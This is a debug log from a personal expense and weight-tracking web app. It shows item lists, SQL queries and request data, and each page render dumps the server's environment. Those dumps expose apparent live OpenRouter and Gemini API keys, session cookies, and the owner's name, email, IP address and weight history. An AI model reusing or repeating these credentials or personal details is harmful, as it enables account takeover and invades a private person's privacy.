    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-21T03:59:15.459Z server-connect:router Serving templateView /weight-trackor
2025-12-21T03:59:15.459Z server-connect:app Executing action step identify
2025-12-21T03:59:15.459Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:15.459Z server-connect:output identity: 1
2025-12-21T03:59:15.459Z server-connect:app Executing action step restrict
2025-12-21T03:59:15.459Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T03:59:15.460Z server-connect:output restrict: undefined
2025-12-21T03:59:15.460Z server-connect:router Render template weight-trackor
2025-12-21T03:59:15.461Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-21T03:59:15.692Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-21T03:59:15.693Z server-connect:app Executing action step identify
2025-12-21T03:59:15.693Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:15.693Z server-connect:output identity: 1
2025-12-21T03:59:15.693Z server-connect:app Executing action step restrict
2025-12-21T03:59:15.693Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T03:59:15.694Z server-connect:output restrict: undefined
2025-12-21T03:59:15.695Z server-connect:app Executing action step custom
2025-12-21T03:59:15.695Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-21T03:59:15.698Z server-connect:output list: [
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-21T03:59:24.021Z server-connect:router Serving serverConnect /api/health/manage-weight
2025-12-21T03:59:24.022Z server-connect:app Executing action step identify
2025-12-21T03:59:24.022Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:24.022Z server-connect:output identity: 1
2025-12-21T03:59:24.023Z server-connect:app Executing action step restrict
2025-12-21T03:59:24.023Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T03:59:24.023Z server-connect:output restrict: undefined
2025-12-21T03:59:24.023Z server-connect:app Executing action step insert
2025-12-21T03:59:24.023Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'health_weight_trackor',
    query: 'insert into `health_weight_trackor` (`created_by`, `created_on`, `date`, `weight`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2025-12-21T03:59:24.025Z server-connect:output weight_log: { affected: 1, identity: 17 }
2025-12-21T03:59:24.313Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-21T03:59:24.313Z server-connect:app Executing action step identify
2025-12-21T03:59:24.313Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:24.313Z server-connect:output identity: 1
2025-12-21T03:59:24.313Z server-connect:app Executing action step restrict
2025-12-21T03:59:24.313Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T03:59:24.314Z server-connect:output restrict: undefined
2025-12-21T03:59:24.314Z server-connect:app Executing action step custom
2025-12-21T03:59:24.314Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-21T03:59:24.315Z server-connect:output list: [
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-21T03:59:24.322Z server-connect:router Serving templateView /weight-trackor
2025-12-21T03:59:24.323Z server-connect:app Executing action step identify
2025-12-21T03:59:24.323Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:24.323Z server-connect:output identity: 1
2025-12-21T03:59:24.323Z server-connect:app Executing action step restrict
2025-12-21T03:59:24.323Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T03:59:24.324Z server-connect:output restrict: undefined
2025-12-21T03:59:24.324Z server-connect:router Render template layouts/main
2025-12-21T03:59:24.324Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"108d1-zpWXMTCCl060s6Z+DopiuALl0bA"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"108d1-zpWXMTCCl060s6Z+DopiuALl0bA"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/weight-trackor'
}
2025-12-21T03:59:24.941Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-21T03:59:24.942Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-21T03:59:24.942Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-21T03:59:24.942Z server-connect:app Executing action step identify
2025-12-21T03:59:24.943Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:24.943Z server-connect:output identity: 1
2025-12-21T03:59:24.943Z server-connect:app Executing action step restrict
2025-12-21T03:59:24.943Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T03:59:24.943Z server-connect:app Executing action step identify
2025-12-21T03:59:24.943Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:24.943Z server-connect:output identity: 1
2025-12-21T03:59:24.943Z server-connect:app Executing action step restrict
2025-12-21T03:59:24.943Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T03:59:24.944Z server-connect:output restrict: undefined
2025-12-21T03:59:24.944Z server-connect:app Executing action step select
2025-12-21T03:59:24.944Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-21T03:59:24.945Z server-connect:app Executing action step identify
2025-12-21T03:59:24.945Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:24.945Z server-connect:output identity: 1
2025-12-21T03:59:24.945Z server-connect:app Executing action step restrict
2025-12-21T03:59:24.945Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T03:59:24.945Z server-connect:output restrict: undefined
2025-12-21T03:59:24.945Z server-connect:app Executing action step single
2025-12-21T03:59:24.945Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-21T03:59:24.946Z server-connect:output restrict: undefined
2025-12-21T03:59:24.946Z server-connect:app Executing action step custom
2025-12-21T03:59:24.946Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-21T03:59:24.946Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-21T03:59:24.947Z server-connect:output list: [
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-21T03:59:24.951Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
